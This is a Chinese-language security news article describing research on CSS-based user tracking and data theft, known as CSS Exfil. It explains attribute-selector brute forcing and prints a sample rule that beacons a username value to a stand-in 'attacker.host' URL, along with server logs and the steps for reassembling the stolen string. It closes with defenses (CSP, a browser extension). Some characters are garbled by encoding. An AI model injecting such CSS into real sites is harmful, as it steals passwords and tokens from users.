CSS不仅在网页展现时强大，在追踪用户时也能发挥作用。它能够追踪网站用户，从网页中提取和窃取数据，收集表单域中输入的数据（包括密码），甚至让暗网用户暴露身份。
在过去的一个月里，三个有趣的研究项目都把CSS作为攻击媒介，显示了这种看似无害的语言也能被用来针对用户。
使用CSS跟踪页面上的用户
关于这个主题的第一个项目是JanB?hmer的一个项目“Crooked Style Sheets”，这个项目提供了一个无JavaScript的跟踪方案，可以通过CSS代码的页面交互跟踪用户。
B?hmer表示，他可以跟踪用户何时悬停鼠标，何时点击链接，何时在输入字段中输入文本，以及收集大量真实的用户代理信息，即便用户使用假的UA也没有用。
使用CSS窃取CSRF token
与B?hmer的工作不同，安全研究人员Dylan Ayrey（XSSJacking作者）也在上周末发布了新的研究成果，展示攻击者如何滥用CSS来窃取CSRF（用户身份验证）token。
Ayrey的攻击只适用于在各种HTML页面元素的属性中存储CSRF令牌的严重错误的网站和应用程序，因此其范围非常有限。这种攻击可能很容易被网站/应用程序所有者击败，他们发现一种更安全的方式来验证用户，而不会在网页的源代码中倾销CSRF令牌。
Ayrey的技术依赖于在网页中注入CSS代码，使用CSS属性选择器每次猜解CSRF token的一个字母。
攻击需要10秒钟左右完成，甚至可以在不需要iframe的情况下工作，不需要持续流量的远程服务器也就没有机会提醒出现问题的用户。
CSS属性选择器的威胁不止于此
Ayrey的研究只是停留在表面。过去的一个月中，安全研究员Mike Gualtieri也一直在努力使用相同的技术，但不仅仅是窃取token。
Gualtieri研究的是如何使用CSS属性选择器来猜测留在HTML标签内的敏感内容。
研究人员能够利用这种方法收集在表单域中输入的敏感用户数据，包括密码字符串。
工作原理
Ayrey和Gualtieri的方法都利用了CSS属性选择器，属性选择器能让开发人员查询单个属性的页面HTML标记，并且匹配它们的值。
举个例子，下面的CSS代码将搜索页面中的“href”属性包含“facebook”字符串的链接元素（“a”），并将所有这些链接加上蓝色。
a[href*="facebook"] {
? color: blue;
}
这些查询看似无害，但在研究人员看来可能被用来实施攻击。
这些查询可以拼接在一起，执行基本的字典暴力攻击，并尝试猜测属性的起始字母，然后将识别的字母添加到新的模式匹配语法中，从而攻击者可以猜解第二个，第三个等字母。
[attribute=value]?? [foo=bar]???? 选择foo =“bar”的所有元素
[attribute~=value]? [foo~=bar]??? 选择所有包含单词“bar”的foo属性的元素
[attribute|=value]? [foo|=bar]??? 选择所有具有以“bar”开头的foo属性值的元素
[attribute^=value]? [foo^="bar"]? 选择所有具有以“bar”开头的foo属性值的元素
[attribute$=value]? [foo$="bar"]? 选择所有具有以“bar”结尾的foo属性值的元素
[attribute*=value]? [foo*="bar"]? 选择所有包含子字符串“bar”的foo属性的元素
攻击者需要构造恶意HTTP请求，执行CSS代码选择器。
#username[value="ZeroC00L"] {
??????????? background:url("https://attacker.host/ZeroC00L");
}
攻击者只需要通过对服务器404的错误筛选，找出想要的结果。
127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /00 HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /0L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Ze HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Z_ HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /ro HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /oC HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /_L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /er HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /C0 HTTP/1.1" 404 22
之后再把字符串组合成完整的数据
Z?????????? # Z_
Ze????????? # Ze
Zer???????? # er
Zero??????? # ro
ZeroC?????? # oC
ZeroC0????? # C0
ZeroC00???? # 00
ZeroC00L??? # 0L _L
Ayrey和Gualtieri用了两种不同的方法进行攻击。 Ayrey一次猜测最后一个字母，而Gualtieri则通过多个猜测来重建字符串，最后将他们组合。
两种方法都有效。Ayrey的方法噪音较大，但可以很容易自动化，而Gualtieri的方法更快（也可以自动化），但在某些情况下会依赖于人来拼接字符串。
Gualtieri将此技术命名为CSS Exfil。但CSS Exfil只能在加载时窃取页面上的HTML属性，不能在初始页面加载后从动态注入的代码中窃取。 Gualtieri认为这不是大问题，他的研究提到攻击者可以有各种解决方法。
防御方式
防范CSS Exfil攻击可以分为两个层面。首先，网站和网络应用程序作者可以实施内容安全策略（CSP），防止攻击者从外部加载CSS代码。
其次，访客还可以安装Gualtieri的Firefox或Chrome扩展程序，它可以检测Gualtieri在他的研究中记录的所有类型的CSS Exfil攻击，并在执行之前重写恶意代码。
你可以访问这里的网页进行测试。
CSS Exfil并不是一项新技术，2016年的CureSec就曾经讨论过，但是在过去一个月中，这种攻击方法吸引了多位研究人员的目光。